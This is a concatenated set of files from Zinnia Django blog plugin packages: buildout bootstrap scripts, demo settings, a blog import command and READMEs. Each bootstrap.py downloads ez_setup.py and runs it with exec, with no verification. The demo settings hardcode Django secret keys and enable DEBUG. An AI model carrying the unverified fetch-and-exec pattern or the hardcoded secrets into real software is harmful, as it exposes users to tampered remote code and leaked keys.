import os import shutil import sys import tempfile from optparse import OptionParser tmpeggs = tempfile.mkdtemp() usage = '''\ [DESIRED PYTHON FOR BUILDOUT] bootstrap.py [options] Bootstraps a buildout-based project. Simply run this script in a directory containing a buildout.cfg, using the Python that you want bin/buildout to use. Note that by using --find-links to point to local resources, you can keep this script from going over the network. ''' parser = OptionParser(usage=usage) parser.add_option("-v", "--version", help="use a specific zc.buildout version") parser.add_option("-t", "--accept-buildout-test-releases", dest='accept_buildout_test_releases', action="store_true", default=False, help=("Normally, if you do not specify a --version, the " "bootstrap script and buildout gets the newest " "*final* versions of zc.buildout and its recipes and " "extensions for you. If you use this flag, " "bootstrap and buildout will get the newest releases " "even if they are alphas or betas.")) parser.add_option("-c", "--config-file", help=("Specify the path to the buildout configuration " "file to be used.")) parser.add_option("-f", "--find-links", help=("Specify a URL to search for buildout releases")) parser.add_option("--allow-site-packages", action="store_true", default=False, help=("Let bootstrap.py use existing site packages")) parser.add_option("--setuptools-version", help="use a specific setuptools version") options, args = parser.parse_args() ###################################################################### # load/install setuptools try: if options.allow_site_packages: import setuptools import pkg_resources from urllib.request import urlopen except ImportError: from urllib2 import urlopen ez = {} exec(urlopen('https://bootstrap.pypa.io/ez_setup.py').read(), ez) if not options.allow_site_packages: # ez_setup imports site, which adds site packages # this will remove them from the path to ensure that incompatible versions # of setuptools are not in the path import site # inside a virtualenv, there is no 'getsitepackages'. # We can't remove these reliably if hasattr(site, 'getsitepackages'): for sitepackage_path in site.getsitepackages(): sys.path[:] = [x for x in sys.path if sitepackage_path not in x] setup_args = dict(to_dir=tmpeggs, download_delay=0) if options.setuptools_version is not None: setup_args['version'] = options.setuptools_version ez['use_setuptools'](**setup_args) import setuptools import pkg_resources # This does not (always?) update the default working set. We will # do it. for path in sys.path: if path not in pkg_resources.working_set.entries: pkg_resources.working_set.add_entry(path) ###################################################################### # Install buildout ws = pkg_resources.working_set cmd = [sys.executable, '-c', 'from setuptools.command.easy_install import main; main()', '-mZqNxd', tmpeggs] find_links = os.environ.get( 'bootstrap-testing-find-links', options.find_links or ('http://downloads.buildout.org/' if options.accept_buildout_test_releases else None) ) if find_links: cmd.extend(['-f', find_links]) setuptools_path = ws.find( pkg_resources.Requirement.parse('setuptools')).location requirement = 'zc.buildout' version = options.version if version is None and not options.accept_buildout_test_releases: # Figure out the most recent final version of zc.buildout. import setuptools.package_index _final_parts = '*final-', '*final' def _final_version(parsed_version): try: return not parsed_version.is_prerelease except AttributeError: # Older setuptools for part in parsed_version: if (part[:1] == '*') and (part not in _final_parts): return False return True index = setuptools.package_index.PackageIndex( search_path=[setuptools_path]) if find_links: index.add_find_links((find_links,)) req = pkg_resources.Requirement.parse(requirement) if index.obtain(req) is not None: best = [] bestv = None for dist in index[req.project_name]: distv = dist.parsed_version if _final_version(distv): if bestv is None or distv > bestv: best = [dist] bestv = distv elif distv == bestv: best.append(dist) if best: best.sort() version = best[-1].version if version: requirement = '=='.join((requirement, version)) cmd.append(requirement) import subprocess if subprocess.call(cmd, env=dict(os.environ, PYTHONPATH=setuptools_path)) != 0: raise Exception( "Failed to execute command:\n%s" % repr(cmd)[1:-1]) ###################################################################### # Import and run buildout ws.add_entry(tmpeggs) ws.require(requirement) import zc.buildout.buildout if not [a for a in args if '=' not in a]: args.append('bootstrap') # if -c was provided, we push it back into args for buildout' main function if options.config_file is not None: args[0:0] = ['-c', options.config_file] zc.buildout.buildout.main(args) shutil.rmtree(tmpeggs)
zinnia-threaded-comments
/zinnia-threaded-comments-0.4.tar.gz/zinnia-threaded-comments-0.4/bootstrap.py
bootstrap.py
import os gettext = lambda s: s # noqa DEBUG = True DATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(os.path.dirname(__file__), 'demo.db')} } TIME_ZONE = 'Europe/Paris' STATIC_URL = '/static/' MEDIA_URL = '/media/' SECRET_KEY = 'jo-1rzm(%sf)3#n+fb7h945yuv3(pf63abhi12_t7e^^5q8dyw' USE_TZ = True USE_I18N = True USE_L10N = True SITE_ID = 1 LANGUAGE_CODE = 'en' LANGUAGES = ( ('en', gettext('English')), ('fr', gettext('French')), ('de', gettext('German')), ('es', gettext('Spanish')), ('it', gettext('Italian')), ('nl', gettext('Dutch')), ('sl', gettext('Slovenian')), ('bg', gettext('Bulgarian')), ('hu', gettext('Hungarian')), ('cs', gettext('Czech')), ('sk', gettext('Slovak')), ('lt', gettext('Lithuanian')), ('ru', gettext('Russian')), ('pl', gettext('Polish')), ('eu', gettext('Basque')), ('he', gettext('Hebrew')), ('ca', gettext('Catalan')), ('tr', gettext('Turkish')), ('sv', gettext('Swedish')), ('is', gettext('Icelandic')), ('hr_HR', gettext('Croatian')), ('pt_BR', gettext('Brazilian Portuguese')), ('fa_IR', gettext('Persian')), ('fi_FI', gettext('Finnish')), ('uk_UA', gettext('Ukrainian')), ('zh-hans', gettext('Simplified Chinese')), ) MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.middleware.locale.LocaleMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'demo_zinnia_threaded_comments.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'OPTIONS': { 'loaders': [ 'app_namespace.Loader', 'django.template.loaders.app_directories.Loader', ], 'context_processors': [ 'django.contrib.auth.context_processors.auth', 'django.template.context_processors.i18n', 'django.template.context_processors.request', 'django.contrib.messages.context_processors.messages', 'zinnia.context_processors.version', ] } } ] INSTALLED_APPS = ( 'django.contrib.auth', 'django.contrib.sitemaps', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.sites', 'django.contrib.admin', 'django.contrib.staticfiles', 'django_comments', 'mptt', 'tagging', 'zinnia_threaded_comments', 'zinnia', ) COMMENTS_APP = 'zinnia_threaded_comments'
zinnia-threaded-comments
/zinnia-threaded-comments-0.4.tar.gz/zinnia-threaded-comments-0.4/demo_zinnia_threaded_comments/settings.py
settings.py
import os import lxml.html from django.core.management import BaseCommand from django.conf import settings from django.core.files import File from wagtail.wagtailcore.models import Page, Site from wagtail.wagtailimages.models import Image as WagtailImage from zinnia.models import Category as ZinniaCategory, Entry as ZinniaEntry from puput.models import BlogPage, EntryPage, TagEntryPage as PuputTagEntryPage, Tag as PuputTag, \ Category as PuputCategory, CategoryEntryPage as PuputCategoryEntryPage, EntryPageRelated class Command(BaseCommand): help = "Import blog data from Zinnia" entries = {} def add_arguments(self, parser): parser.add_argument('--slug', default='blog', help="Slug of the blog.") parser.add_argument('--title', default='Blog', help="Title of the blog.") def handle(self, *args, **options): self.get_blog_page(options['slug'], options['title']) self.import_categories() self.import_entries() self.import_related_entries() def get_blog_page(self, slug, title): # Create blog page try: self.blogpage = BlogPage.objects.get(slug=slug) except BlogPage.DoesNotExist: # Get root page rootpage = Page.objects.first() # Set site root page as root site page site = Site.objects.first() site.root_page = rootpage site.save() # Get blogpage content type self.blogpage = BlogPage( title=title, slug=slug, ) rootpage.add_child(instance=self.blogpage) revision = rootpage.save_revision() revision.publish() def import_categories(self): self.stdout.write("Importing categories...") categories = ZinniaCategory.objects.all() for category in categories: self.stdout.write("\t{}".format(category)) puput_category, created = PuputCategory.objects.update_or_create( name=category.title, slug=category.slug, description=category.description ) puput_category.save() def import_entries(self): self.stdout.write("Importing entries...") entries = ZinniaEntry.objects.all() for entry in entries: self.stdout.write(entry.title) # Header images if entry.image: header_image = WagtailImage(file=entry.image, title=os.path.basename(entry.image.url)) self.stdout.write('\tImported header image: {}'.format(entry.image)) header_image.save() else: header_image = None self.stdout.write('\tGenerate and replace entry content images....') if entry.content: root = lxml.html.fromstring(entry.content) for el in root.iter('img'): if el.attrib['src'].startswith(settings.MEDIA_URL): old_image = el.attrib['src'].replace(settings.MEDIA_URL, '') with open('{}/{}'.format(settings.MEDIA_ROOT, old_image), 'r') as image_file: new_image = WagtailImage(file=File(file=image_file, name=os.path.basename(old_image)), title=os.path.basename(old_image)) new_image.save() el.attrib['src'] = new_image.file.url self.stdout.write('\t\t{}'.format(new_image.file.url)) # New content with images replaced content = lxml.html.tostring(root, pretty_print=True) else: content = entry.content # Create page try: page = EntryPage.objects.get(slug=entry.slug) except EntryPage.DoesNotExist: page = EntryPage( title=entry.title, body=content, slug=entry.slug, go_live_at=entry.start_publication, expire_at=entry.end_publication, first_published_at=entry.creation_date, date=entry.creation_date, owner=entry.authors.first(), seo_title=entry.title, search_description=entry.excerpt, live=entry.is_visible, header_image=header_image ) self.blogpage.add_child(instance=page) revision = self.blogpage.save_revision() revision.publish() self.import_entry_categories(entry, page) self.import_entry_tags(entry, page) page.save() page.save_revision(changed=False) self.entries[entry.pk] = page def import_related_entries(self): self.stdout.write("Importing related entries...") entries = ZinniaEntry.objects.all() for entry in entries: for related_entry in entry.related.all(): EntryPageRelated.objects.get_or_create(entrypage_from=self.entries[entry.pk], entrypage_to=self.entries[related_entry.pk]) def import_entry_categories(self, entry, page): self.stdout.write("\tImporting categories...") for category in entry.categories.all(): self.stdout.write('\t\tAdd category: {}'.format(category.title)) puput_category = PuputCategory.objects.get(name=category.title) PuputCategoryEntryPage.objects.get_or_create(category=puput_category, page=page) def import_entry_tags(self, entry, page): self.stdout.write("\tImporting tags...") for tag in entry.tags_list: self.stdout.write('\t\t{}'.format(tag)) puput_tag, created = PuputTag.objects.update_or_create(name=tag) page.entry_tags.add(PuputTagEntryPage(tag=puput_tag))
zinnia-to-puput
/zinnia-to-puput-0.1.tar.gz/zinnia-to-puput-0.1/zinnia2puput/management/commands/zinnia2puput.py
zinnia2puput.py
============== Zinnia-twitter ============== Zinnia-twitter is a package putting your entries on `Twitter`_. Installation ============ * Install the package on your system: :: $ pip install zinnia-twitter `Tweepy`_ will also be installed as a dependency. * Register the ``'zinnia_twitter'`` in your ``INSTALLED_APPS`` after the ``'zinnia'`` application. * Define these following settings with your credentials: * ``TWITTER_CONSUMER_KEY`` * ``TWITTER_CONSUMER_SECRET`` * ``TWITTER_ACCESS_KEY`` * ``TWITTER_ACCESS_SECRET`` * If you have enabled one of the ``zinnia-wysiwyg-xxx`` plugin widget, you need to reconstruct the ``EntryAdmin`` class manually with the provided mixins: :: from zinnia.admin.entry import EntryAdmin from zinnia_twitter.admin import EntryAdminTwitterMixin from zinnia_ckeditor.admin import EntryAdminCKEditorMixin class FinalEntryAdmin(EntryAdminCKEditorMixin, EntryAdminTwitterMixin, EntryAdmin): pass admin.site.unregister(Entry) admin.site.register(Entry, FinalEntryAdmin) Note that the authentification for Twitter has changed since September 2010. The actual authentification system is based on oAuth. That’s why now you need to set these 4 settings. If you don’t know how to get these information, follow this excellent tutorial at: http://talkfast.org/2010/05/31/twitter-from-the-command-line-in-python-using-oauth/ You can replace the script mentionned in the step 3 of the tutorial by the ``get_twitter_access`` management command provided by the application, once you have your CONSUMER_KEY and CONSUMER_SECRET. Now in the admin, you can post an update containing your entry’s title and the shortened URL of your entry. .. _Twitter: https://twitter.com .. _Tweepy: http://www.tweepy.org/
zinnia-twitter
/zinnia-twitter-1.1.tar.gz/zinnia-twitter-1.1/README.rst
README.rst
import os import shutil import sys import tempfile from optparse import OptionParser tmpeggs = tempfile.mkdtemp() usage = '''\ [DESIRED PYTHON FOR BUILDOUT] bootstrap.py [options] Bootstraps a buildout-based project. Simply run this script in a directory containing a buildout.cfg, using the Python that you want bin/buildout to use. Note that by using --find-links to point to local resources, you can keep this script from going over the network. ''' parser = OptionParser(usage=usage) parser.add_option("-v", "--version", help="use a specific zc.buildout version") parser.add_option("-t", "--accept-buildout-test-releases", dest='accept_buildout_test_releases', action="store_true", default=False, help=("Normally, if you do not specify a --version, the " "bootstrap script and buildout gets the newest " "*final* versions of zc.buildout and its recipes and " "extensions for you. If you use this flag, " "bootstrap and buildout will get the newest releases " "even if they are alphas or betas.")) parser.add_option("-c", "--config-file", help=("Specify the path to the buildout configuration " "file to be used.")) parser.add_option("-f", "--find-links", help=("Specify a URL to search for buildout releases")) parser.add_option("--allow-site-packages", action="store_true", default=False, help=("Let bootstrap.py use existing site packages")) parser.add_option("--setuptools-version", help="use a specific setuptools version") options, args = parser.parse_args() ###################################################################### # load/install setuptools try: if options.allow_site_packages: import setuptools import pkg_resources from urllib.request import urlopen except ImportError: from urllib2 import urlopen ez = {} exec(urlopen('https://bootstrap.pypa.io/ez_setup.py').read(), ez) if not options.allow_site_packages: # ez_setup imports site, which adds site packages # this will remove them from the path to ensure that incompatible versions # of setuptools are not in the path import site # inside a virtualenv, there is no 'getsitepackages'. # We can't remove these reliably if hasattr(site, 'getsitepackages'): for sitepackage_path in site.getsitepackages(): sys.path[:] = [x for x in sys.path if sitepackage_path not in x] setup_args = dict(to_dir=tmpeggs, download_delay=0) if options.setuptools_version is not None: setup_args['version'] = options.setuptools_version ez['use_setuptools'](**setup_args) import setuptools import pkg_resources # This does not (always?) update the default working set. We will # do it. for path in sys.path: if path not in pkg_resources.working_set.entries: pkg_resources.working_set.add_entry(path) ###################################################################### # Install buildout ws = pkg_resources.working_set cmd = [sys.executable, '-c', 'from setuptools.command.easy_install import main; main()', '-mZqNxd', tmpeggs] find_links = os.environ.get( 'bootstrap-testing-find-links', options.find_links or ('http://downloads.buildout.org/' if options.accept_buildout_test_releases else None) ) if find_links: cmd.extend(['-f', find_links]) setuptools_path = ws.find( pkg_resources.Requirement.parse('setuptools')).location requirement = 'zc.buildout' version = options.version if version is None and not options.accept_buildout_test_releases: # Figure out the most recent final version of zc.buildout. import setuptools.package_index _final_parts = '*final-', '*final' def _final_version(parsed_version): try: return not parsed_version.is_prerelease except AttributeError: # Older setuptools for part in parsed_version: if (part[:1] == '*') and (part not in _final_parts): return False return True index = setuptools.package_index.PackageIndex( search_path=[setuptools_path]) if find_links: index.add_find_links((find_links,)) req = pkg_resources.Requirement.parse(requirement) if index.obtain(req) is not None: best = [] bestv = None for dist in index[req.project_name]: distv = dist.parsed_version if _final_version(distv): if bestv is None or distv > bestv: best = [dist] bestv = distv elif distv == bestv: best.append(dist) if best: best.sort() version = best[-1].version if version: requirement = '=='.join((requirement, version)) cmd.append(requirement) import subprocess if subprocess.call(cmd, env=dict(os.environ, PYTHONPATH=setuptools_path)) != 0: raise Exception( "Failed to execute command:\n%s" % repr(cmd)[1:-1]) ###################################################################### # Import and run buildout ws.add_entry(tmpeggs) ws.require(requirement) import zc.buildout.buildout if not [a for a in args if '=' not in a]: args.append('bootstrap') # if -c was provided, we push it back into args for buildout' main function if options.config_file is not None: args[0:0] = ['-c', options.config_file] zc.buildout.buildout.main(args) shutil.rmtree(tmpeggs)
zinnia-twitter
/zinnia-twitter-1.1.tar.gz/zinnia-twitter-1.1/bootstrap.py
bootstrap.py
import os gettext = lambda s: s DEBUG = True TEMPLATE_DEBUG = DEBUG DATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(os.path.dirname(__file__), 'demo.db')} } TIME_ZONE = 'Europe/Paris' STATIC_URL = '/static/' MEDIA_URL = '/media/' SECRET_KEY = 'jo-1rzm(%sf)3#n+fa7j945yuv3(pt63abhi12_t7e^^5q8dyw' USE_TZ = True USE_I18N = True USE_L10N = True SITE_ID = 1 LANGUAGE_CODE = 'en' LANGUAGES = ( ('en', gettext('English')), ('fr', gettext('French')), ('de', gettext('German')), ('es', gettext('Spanish')), ('it', gettext('Italian')), ('nl', gettext('Dutch')), ('sl', gettext('Slovenian')), ('bg', gettext('Bulgarian')), ('hu', gettext('Hungarian')), ('cs', gettext('Czech')), ('sk', gettext('Slovak')), ('lt', gettext('Lithuanian')), ('ru', gettext('Russian')), ('pl', gettext('Polish')), ('eu', gettext('Basque')), ('he', gettext('Hebrew')), ('ca', gettext('Catalan')), ('tr', gettext('Turkish')), ('sv', gettext('Swedish')), ('hr_HR', gettext('Croatian')), ('pt_BR', gettext('Brazilian Portuguese')), ('fa_IR', gettext('Persian')), ('fi_FI', gettext('Finnish')), ('zh_CN', gettext('Simplified Chinese')), ) MIDDLEWARE_CLASSES = ( 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.middleware.locale.LocaleMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', ) ROOT_URLCONF = 'demo_zinnia_twitter.urls' TEMPLATE_CONTEXT_PROCESSORS = ( 'django.contrib.auth.context_processors.auth', 'django.core.context_processors.i18n', 'django.core.context_processors.request', 'django.contrib.messages.context_processors.messages', 'zinnia.context_processors.version', ) INSTALLED_APPS = ( 'django.contrib.auth', 'django.contrib.sitemaps', 'django.contrib.comments', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.sites', 'django.contrib.admin', 'django.contrib.staticfiles', 'mptt', 'zinnia', 'tagging', 'zinnia_twitter', ) TWITTER_CONSUMER_KEY = 'Your Consumer Key' TWITTER_CONSUMER_SECRET = 'Your Consumer Secret' TWITTER_ACCESS_KEY = 'Your Access Key' TWITTER_ACCESS_SECRET = 'Your Access Secret'
zinnia-twitter
/zinnia-twitter-1.1.tar.gz/zinnia-twitter-1.1/demo_zinnia_twitter/settings.py
settings.py
=========================== Zinnia-url-shorterner-bitly =========================== Zinnia-url-shortener-bitly is a package providing URL shortening within `django-blog-zinnia`_ via `Bit.ly`_. Installation ============ * Install the package on your system: :: $ pip install zinnia-url-shortener-bitly `django-bitly`_ will also be installed as a dependency. * Add ``'django_bitly'`` in your ``INSTALLED_APPS`` settings and do a **syncdb**. * Put this setting to enable the URL shortener backend: ``ZINNIA_URL_SHORTENER_BACKEND = 'zinnia_bitly'`` * Define these following settings with your credentials: ``BITLY_LOGIN`` Your Bit.ly username ``BITLY_API_KEY`` Your Bit.ly API Key .. _django-blog-zinnia: http://django-blog-zinnia.com .. _Bit.ly: http://bit.ly .. _django-bitly: https://github.com/discovery/django-bitly
zinnia-url-shortener-bitly
/zinnia-url-shortener-bitly-1.1.tar.gz/zinnia-url-shortener-bitly-1.1/README.rst
README.rst
import os import shutil import sys import tempfile from optparse import OptionParser tmpeggs = tempfile.mkdtemp() usage = '''\ [DESIRED PYTHON FOR BUILDOUT] bootstrap.py [options] Bootstraps a buildout-based project. Simply run this script in a directory containing a buildout.cfg, using the Python that you want bin/buildout to use. Note that by using --find-links to point to local resources, you can keep this script from going over the network. ''' parser = OptionParser(usage=usage) parser.add_option("-v", "--version", help="use a specific zc.buildout version") parser.add_option("-t", "--accept-buildout-test-releases", dest='accept_buildout_test_releases', action="store_true", default=False, help=("Normally, if you do not specify a --version, the " "bootstrap script and buildout gets the newest " "*final* versions of zc.buildout and its recipes and " "extensions for you. If you use this flag, " "bootstrap and buildout will get the newest releases " "even if they are alphas or betas.")) parser.add_option("-c", "--config-file", help=("Specify the path to the buildout configuration " "file to be used.")) parser.add_option("-f", "--find-links", help=("Specify a URL to search for buildout releases")) options, args = parser.parse_args() ###################################################################### # load/install setuptools to_reload = False try: import pkg_resources import setuptools except ImportError: ez = {} try: from urllib.request import urlopen except ImportError: from urllib2 import urlopen # XXX use a more permanent ez_setup.py URL when available. exec(urlopen('https://bitbucket.org/pypa/setuptools/raw/0.7.2/ez_setup.py' ).read(), ez) setup_args = dict(to_dir=tmpeggs, download_delay=0) ez['use_setuptools'](**setup_args) if to_reload: reload(pkg_resources) import pkg_resources # This does not (always?) update the default working set. We will # do it. for path in sys.path: if path not in pkg_resources.working_set.entries: pkg_resources.working_set.add_entry(path) ###################################################################### # Install buildout ws = pkg_resources.working_set cmd = [sys.executable, '-c', 'from setuptools.command.easy_install import main; main()', '-mZqNxd', tmpeggs] find_links = os.environ.get( 'bootstrap-testing-find-links', options.find_links or ('http://downloads.buildout.org/' if options.accept_buildout_test_releases else None) ) if find_links: cmd.extend(['-f', find_links]) setuptools_path = ws.find( pkg_resources.Requirement.parse('setuptools')).location requirement = 'zc.buildout' version = options.version if version is None and not options.accept_buildout_test_releases: # Figure out the most recent final version of zc.buildout. import setuptools.package_index _final_parts = '*final-', '*final' def _final_version(parsed_version): for part in parsed_version: if (part[:1] == '*') and (part not in _final_parts): return False return True index = setuptools.package_index.PackageIndex( search_path=[setuptools_path]) if find_links: index.add_find_links((find_links,)) req = pkg_resources.Requirement.parse(requirement) if index.obtain(req) is not None: best = [] bestv = None for dist in index[req.project_name]: distv = dist.parsed_version if _final_version(distv): if bestv is None or distv > bestv: best = [dist] bestv = distv elif distv == bestv: best.append(dist) if best: best.sort() version = best[-1].version if version: requirement = '=='.join((requirement, version)) cmd.append(requirement) import subprocess if subprocess.call(cmd, env=dict(os.environ, PYTHONPATH=setuptools_path)) != 0: raise Exception( "Failed to execute command:\n%s", repr(cmd)[1:-1]) ###################################################################### # Import and run buildout ws.add_entry(tmpeggs) ws.require(requirement) import zc.buildout.buildout if not [a for a in args if '=' not in a]: args.append('bootstrap') # if -c was provided, we push it back into args for buildout' main function if options.config_file is not None: args[0:0] = ['-c', options.config_file] zc.buildout.buildout.main(args) shutil.rmtree(tmpeggs)
zinnia-url-shortener-bitly
/zinnia-url-shortener-bitly-1.1.tar.gz/zinnia-url-shortener-bitly-1.1/bootstrap.py
bootstrap.py
import os gettext = lambda s: s DEBUG = True TEMPLATE_DEBUG = DEBUG DATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(os.path.dirname(__file__), 'demo.db')} } TIME_ZONE = 'Europe/Paris' STATIC_URL = '/static/' MEDIA_URL = '/media/' SECRET_KEY = 'jo-1rzm(%sf)3#n+fa7j945yuv3(pt63abhi12_t7e^^5q8dyw' USE_TZ = True USE_I18N = True USE_L10N = True SITE_ID = 1 LANGUAGE_CODE = 'en' LANGUAGES = ( ('en', gettext('English')), ('fr', gettext('French')), ('de', gettext('German')), ('es', gettext('Spanish')), ('it', gettext('Italian')), ('nl', gettext('Dutch')), ('sl', gettext('Slovenian')), ('bg', gettext('Bulgarian')), ('hu', gettext('Hungarian')), ('cs', gettext('Czech')), ('sk', gettext('Slovak')), ('lt', gettext('Lithuanian')), ('ru', gettext('Russian')), ('pl', gettext('Polish')), ('eu', gettext('Basque')), ('he', gettext('Hebrew')), ('ca', gettext('Catalan')), ('tr', gettext('Turkish')), ('sv', gettext('Swedish')), ('hr_HR', gettext('Croatian')), ('pt_BR', gettext('Brazilian Portuguese')), ('fi_FI', gettext('Finnish (Finland)')), ('zh_CN', gettext('Simplified Chinese')), ) MIDDLEWARE_CLASSES = ( 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.middleware.locale.LocaleMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', ) ROOT_URLCONF = 'demo_zinnia_bitly.urls' TEMPLATE_CONTEXT_PROCESSORS = ( 'django.contrib.auth.context_processors.auth', 'django.core.context_processors.i18n', 'django.core.context_processors.request', 'django.contrib.messages.context_processors.messages', 'zinnia.context_processors.version', ) INSTALLED_APPS = ( 'django.contrib.auth', 'django.contrib.sitemaps', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.sites', 'django.contrib.admin', 'django.contrib.staticfiles', 'django_comments', 'mptt', 'zinnia', 'tagging', 'django_bitly', ) ZINNIA_URL_SHORTENER_BACKEND = 'zinnia_bitly' BITLY_LOGIN = 'YOUR_LOGIN' BITLY_API_KEY = 'YOUR_API_KEY'
zinnia-url-shortener-bitly
/zinnia-url-shortener-bitly-1.1.tar.gz/zinnia-url-shortener-bitly-1.1/demo_zinnia_bitly/settings.py
settings.py
============================= Zinnia-url-shorterner-hashids ============================= Zinnia-url-shortener-hashids is a package providing URL shortening within `django-blog-zinnia`_ with non-sequential, short and unique ids. Installation ============ * Install the package on your system: :: $ pip install zinnia-url-shortener-hashids `hashids`_ will also be installed as a dependency. * Put this setting to enable the URL shortener backend: ``ZINNIA_URL_SHORTENER_BACKEND = 'zinnia_hashids'`` * Then include this URLconf into your project: :: url(r'^', include('zinnia_hashids.urls')), .. _django-blog-zinnia: http://django-blog-zinnia.com .. _hashids: https://github.com/davidaurelio/hashids-python
zinnia-url-shortener-hashids
/zinnia-url-shortener-hashids-1.1.tar.gz/zinnia-url-shortener-hashids-1.1/README.rst
README.rst
import os import shutil import sys import tempfile from optparse import OptionParser __version__ = '2015-07-01' # See zc.buildout's changelog if this version is up to date. tmpeggs = tempfile.mkdtemp(prefix='bootstrap-') usage = '''\ [DESIRED PYTHON FOR BUILDOUT] bootstrap.py [options] Bootstraps a buildout-based project. Simply run this script in a directory containing a buildout.cfg, using the Python that you want bin/buildout to use. Note that by using --find-links to point to local resources, you can keep this script from going over the network. ''' parser = OptionParser(usage=usage) parser.add_option("--version", action="store_true", default=False, help=("Return bootstrap.py version.")) parser.add_option("-t", "--accept-buildout-test-releases", dest='accept_buildout_test_releases', action="store_true", default=False, help=("Normally, if you do not specify a --version, the " "bootstrap script and buildout gets the newest " "*final* versions of zc.buildout and its recipes and " "extensions for you. If you use this flag, " "bootstrap and buildout will get the newest releases " "even if they are alphas or betas.")) parser.add_option("-c", "--config-file", help=("Specify the path to the buildout configuration " "file to be used.")) parser.add_option("-f", "--find-links", help=("Specify a URL to search for buildout releases")) parser.add_option("--allow-site-packages", action="store_true", default=False, help=("Let bootstrap.py use existing site packages")) parser.add_option("--buildout-version", help="Use a specific zc.buildout version") parser.add_option("--setuptools-version", help="Use a specific setuptools version") parser.add_option("--setuptools-to-dir", help=("Allow for re-use of existing directory of " "setuptools versions")) options, args = parser.parse_args() if options.version: print("bootstrap.py version %s" % __version__) sys.exit(0) ###################################################################### # load/install setuptools try: from urllib.request import urlopen except ImportError: from urllib2 import urlopen ez = {} if os.path.exists('ez_setup.py'): exec(open('ez_setup.py').read(), ez) else: exec(urlopen('https://bootstrap.pypa.io/ez_setup.py').read(), ez) if not options.allow_site_packages: # ez_setup imports site, which adds site packages # this will remove them from the path to ensure that incompatible versions # of setuptools are not in the path import site # inside a virtualenv, there is no 'getsitepackages'. # We can't remove these reliably if hasattr(site, 'getsitepackages'): for sitepackage_path in site.getsitepackages(): # Strip all site-packages directories from sys.path that # are not sys.prefix; this is because on Windows # sys.prefix is a site-package directory. if sitepackage_path != sys.prefix: sys.path[:] = [x for x in sys.path if sitepackage_path not in x] setup_args = dict(to_dir=tmpeggs, download_delay=0) if options.setuptools_version is not None: setup_args['version'] = options.setuptools_version if options.setuptools_to_dir is not None: setup_args['to_dir'] = options.setuptools_to_dir ez['use_setuptools'](**setup_args) import setuptools import pkg_resources # This does not (always?) update the default working set. We will # do it. for path in sys.path: if path not in pkg_resources.working_set.entries: pkg_resources.working_set.add_entry(path) ###################################################################### # Install buildout ws = pkg_resources.working_set setuptools_path = ws.find( pkg_resources.Requirement.parse('setuptools')).location # Fix sys.path here as easy_install.pth added before PYTHONPATH cmd = [sys.executable, '-c', 'import sys; sys.path[0:0] = [%r]; ' % setuptools_path + 'from setuptools.command.easy_install import main; main()', '-mZqNxd', tmpeggs] find_links = os.environ.get( 'bootstrap-testing-find-links', options.find_links or ('http://downloads.buildout.org/' if options.accept_buildout_test_releases else None) ) if find_links: cmd.extend(['-f', find_links]) requirement = 'zc.buildout' version = options.buildout_version if version is None and not options.accept_buildout_test_releases: # Figure out the most recent final version of zc.buildout. import setuptools.package_index _final_parts = '*final-', '*final' def _final_version(parsed_version): try: return not parsed_version.is_prerelease except AttributeError: # Older setuptools for part in parsed_version: if (part[:1] == '*') and (part not in _final_parts): return False return True index = setuptools.package_index.PackageIndex( search_path=[setuptools_path]) if find_links: index.add_find_links((find_links,)) req = pkg_resources.Requirement.parse(requirement) if index.obtain(req) is not None: best = [] bestv = None for dist in index[req.project_name]: distv = dist.parsed_version if _final_version(distv): if bestv is None or distv > bestv: best = [dist] bestv = distv elif distv == bestv: best.append(dist) if best: best.sort() version = best[-1].version if version: requirement = '=='.join((requirement, version)) cmd.append(requirement) import subprocess if subprocess.call(cmd) != 0: raise Exception( "Failed to execute command:\n%s" % repr(cmd)[1:-1]) ###################################################################### # Import and run buildout ws.add_entry(tmpeggs) ws.require(requirement) import zc.buildout.buildout if not [a for a in args if '=' not in a]: args.append('bootstrap') # if -c was provided, we push it back into args for buildout' main function if options.config_file is not None: args[0:0] = ['-c', options.config_file] zc.buildout.buildout.main(args) shutil.rmtree(tmpeggs)
zinnia-url-shortener-hashids
/zinnia-url-shortener-hashids-1.1.tar.gz/zinnia-url-shortener-hashids-1.1/bootstrap.py
bootstrap.py
